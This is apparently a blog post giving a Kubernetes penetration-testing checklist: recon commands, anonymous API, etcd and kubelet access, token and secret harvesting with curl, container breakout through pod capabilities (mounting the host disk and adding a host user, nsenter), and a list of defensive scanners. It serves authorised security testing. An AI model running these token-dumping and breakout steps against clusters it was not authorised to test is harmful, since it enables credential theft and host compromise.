Kubernetes Pentest: Checklist, tools and resources
--
Kubernetes is a maze: deployments, pods, containers, namespaces, services… When you arrive at kube-world as a beginner (like me) nothing has sense. For a while, I’ve been thinking about to create a checklist for pentesting purposes and put together every tool, repo or technique I’ve been discovering about kubernetes lately, but every implementation of kube is different so this could be consider as much as a basic recon checklist.
- Check your kubernetes server version
kubectl versionUsually, from the offensive perspective, kubernetes is not the “run-that-exploit” scenario that we’re used to. Find breaches on kube is more like checking misconfigurations, exposed resources and so, but if this is your first contact then check out this lab, based on CVE-2020–8558 exploitation, directly related on a vulnerable kubernetes version:
2. Dump all
for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; doneBased on :
Just dump everything, we’ll use later.
3. Check anonymous access
#Kube API
curl -k https://<master_ip>:<port>#Check etcdctl (binary on https://github.com/etcd-io/etcd/releases)
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only#Kubelet
curl http://<external-IP>:10255/pods
These resources may allow us to retrieve many information from the cluster or even run commands anonymously.
Etcdctl Cheat sheet:
Kubelet API basic code exec:
Accessing Kubelet API:
4. Check images version
kubectl get deployments -A -o yaml | grep "image:"This will output all the images deployed on the cluster and their version, then check out if some of them are vulnerable. This helped me to discover a vulnerable blackbox image that allows SSRF into the cluster, so do it!
5. Check services
kubectl get services -A -o wideYou can take this output as an nmap result, there’re services exposed (or not, maybe they’re only reachable inside the cluster) just check and try to exploit those services as a “legacy” system.
6. Check deployments
We can use deployments.yaml extracted on section 2, or:
kubectl get deployments -A -o yaml > deployments.yamlDeployments are the main recipe, here’s where the DevOps tell to kubernetes what they want to run and how everything should work. We’ve a few tools to check this yaml file, just check out this article:
Those tools will find missconfigurations that may lead us get in the cluster.
I recommend this tool that is not mentioned in the previous article but it works pretty fine, let me introduce you to checkov:
checkov -f deployments.yaml6. Check permissions
kubectl auth can-i --list (-n <namespace)Check what you can do, the best thing you can find here is * which means ALL resources (pods, secrets, deployments…) and/or ALL actions (get, list, create, patch….)
7. Check risky roles
If you have enough permissions just check the role binding permissions with this:
As CyberArk wrote: “The privilege to create Rolebindings allows a user to bind roles to a service account. This privilege can potentially lead to privilege escalation because it allows the user to bind admin privileges to a compromised service account.” (Source https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
8. Pod capabilities
Enter to any pod:
kubectl exec -ti <pod_name> -n <namespace> bashSome images have no bash or PATH variable is not defined, so you can also run:
kubectl exec -ti <pod_name> -n <namespace> /bin/shThen, when you’re in a pod check what it can do:
capsh --printMany capabilities will be shown, here we got some interesting capabilities:
· cap_sys_admin: In some cases this can mount/umount disks on the host machine, so try if you can see disks from the pod and mount them:
fdisk -l (or lvsdisplay for LVM partitions) mount /dev/<sda or LV Path> /mnt/<mnt>
#you can then run commands on localhost
#i.e. create a user in the host machine:
chroot /mnt/ adduser john
· cap_sys_module: This allow us to insert/remove kernel modules in/from the host machine. I.e. you can use any reverse shell (or anything else) write in C and load it as a kernel module.
· cap_sys_ptrace: You may debug processes of the host machine, just run a ps -ef and host processes will be shown. Pentester Academy has a great labs about process injection that may help you on this topic. I won’t pretend that I know how process injection works, so if you’re brave and talented enough then go ahead. I do not recommend this on production environments.
In a safer way, you may want to try this to run any command from inside the pod into the host node:
nsenter --all --target=1 <command>Source: https://twitter.com/infosec_scarlet/status/1347288430531604480
· cap_sys_boot: Reboot system and load a new kernel. Too risky.
· cap_net_raw: You can forge your own raw network packets from inside the pod as some malwares do.
· cap_dac_read_search & cap_dac_override: Bypass file read permission checks and directory read and execute permission checks. (Check: http://stealth.openwall.net/xSports/shocker.c)
9. Sensitive information
Pods are interesting not only by its capabilities, they may contain sensitive information so get in and harvest some intel.
10. Tokens
Every pod as a token (JWT) to talk to API Server, so retrieve them from inside the pod:
#Dump tokens from inside the pod
kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token#Dump all tokens from secrets
kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt
I usually like to check if those tokens can reach other namespaces or can read sensitive information, so try them:
#Standard query:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:#<port>/api/v1/namespaces/<namespace>/<resource>/#Example:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
11. Secrets
With the previous tokens, check out if they can read secrets from other namespaces, you may obtain passwords, ssh keys, OAuth tokens…:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/12. Breakout pods, reach the node
We got several techniques on how to get out the pod:
- Abusing pod capabilities or privileged pods: We’ve already discussed some of them on capabilities section.
- Scan your default gateway: From pod POV the default gateway (x.x.x.1) is part of the host, try to scan it and discover some vulnerable services reachable from the pod shell.
- Deploy malicious pods: If you reach the API Server and you’re allowed to create new pods, deploy a malicious one and mount the root folder / from the node. We’ve already discusses on cap_sys_admin how to abuse this scenario.
- Abuse the already mounted insecure hostPath: Check the articles below
13. Segmentation
Just using nmap, nc or whatever, ensure that your network policy is running properly, scan from inside/outside/between the pods or even the cluster and check that network segmentation and routes are established as desired.
Bonus
There’re also additional techniques or specific tools for kubernetes in cloud solutions as GKE or EKS, but maybe next time.
Please, feel free to contrib with your comments, techniques or recommendations.
Must-Have Tools:
- kubebox: Perfect to navigate through pods and namespaces, fast access to shell, metrics (if they’re available) and logs.
- checkov: You know, SAST your yaml deployments.
- kube-bench: Run this on your nodes and check the CIS Benchmark recommendations for kubernetes.
- kube-goat: A deliberately vulnerable Kubernetes cluster, a training lab.
- kube-hunter: Offensive suite that hunts for security weaknesses in Kubernetes clusters.
Other sources
MITRE matrix for Kubernetes
Kubernetes Pentest Methodology
11 Way not to get hacked (kubernetes)
Special thanks to:
Stay cool!
